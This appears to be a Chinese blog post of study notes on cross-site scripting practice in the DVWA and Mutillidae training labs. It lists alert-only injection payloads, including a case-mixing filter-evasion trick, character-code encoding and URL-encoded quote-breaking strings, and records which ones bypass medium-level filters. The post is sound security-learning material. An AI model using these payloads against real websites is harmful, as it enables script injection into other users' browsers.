Mutillidae 上可以使用的XSS 例子比较少,后面有些是在DVWA上做的。
1. XSS 是什么?
-
XSS attack is client attack, can be used to inject VBScript, ActiveX, or Flash into a
-
vulnerable web page.
但是通常用Javascript的多些。
2. 多用来inject的tags , 当然可以用的tags有很多,
-
<iframe>,<div>,<link>都可以.
-
Script tag: <script>alert("XSSed!!");</script>
-
Body tag: <body onload=alert("XSSed")>
-
Image tag: <img src=# onmouseover="alert('XSS')"></img>
-
#or even more complicated
-
<sCripT>alert("XSS")
-
#this method remove quote
-
/*
-
#alert(String.fromCharCode(108,97,108,97))
-
*/
下面是1个a标签,2个img标签,分开写因为上面的alert(string.fromCharCode()...可能会被浏览器解析,下面这三行也有可能所以我干脆把js写错,否则写入数据库,就等于变相的cu被stored XSS注入了.
-
#<a onmouse over="alert('XSS')">xxs link
-
#<IMG SRC=# onmouse over="alert('XSS')"
-
3. XSS主要分3种
-
1. Persistent/Stored XSS
-
2. Reflected XSS
-
3. DOM Based XSS
4. inject 的第一个页面:
-
http://192.168.0.119/dvwa/vulnerabilities/xss_r/
当DVWA的security level 为low 的时候,可以在 name里面输入任意的javascript 代码,因此下面的java script 都可以使用.
-
Script tag: <script>alert("XSSed");</script>
-
<SCRIPT>alert('XSSed');</script>
-
Body tag: <body onload=alert("XSSed")>
-
Image tag: <img src=# onmouseover="alert('XSS')"></img>
当 security level 为medium的时候,该页面仅仅能filter 掉
<script>alert("XSSed");</script> , 而对其他3个javascript 语句无能为力.
5. inject 第二个页面为Mutillidae的页面, 不管 security level 0或者1 都可以inject, 只有当security level 是5的时候,下面的inject 会失败.
-
http://192.168.0.119/mutillidae/index.php?page=password-generator.php&username=anonymous
可以通过GET方法来inject,因此inject js后URL 可以写成下面的样子.
-
"; alert("XSSed");//
-
"; alert(%27XSSed%27);//
-
%22;+alert(%27XSSed%27);//
-
%22; alert(%27XSSed%27);//
6. DVWA inject Stored XSS .
inject
的page 如下: 当security level 是low 的时候,name 和message 都可以inject, 当security
level是medium的时候,message 不能inject, 而name 可以通过修改js 增加input的maxlength.
-
http://192.168.0.119/dvwa/vulnerabilities/xss_s/
当security level 为medium 的时候,在name 里面输入下面的js都可以inject 成功
-
<sCripT>alert("XSS")</sCripT> #work
-
<sCripT>alert(String.fromCharCode(108,97,108,97))</sCripT> #also works , translate to charcode
7. owasp 既有XSS_EVASION 的cheat_sheet ,又有XSS_prevention cheat_sheet.
-
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
-
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
-
8. 慢慢的我也有了些心得体会,JS这个东西下载到本地,可以轻松用BurpProxy绕过,因此JS的filter 根本没有大用.
必须在代码里面对于用户的输入做更多的处理.
阅读(940) | 评论(0) | 转发(0) |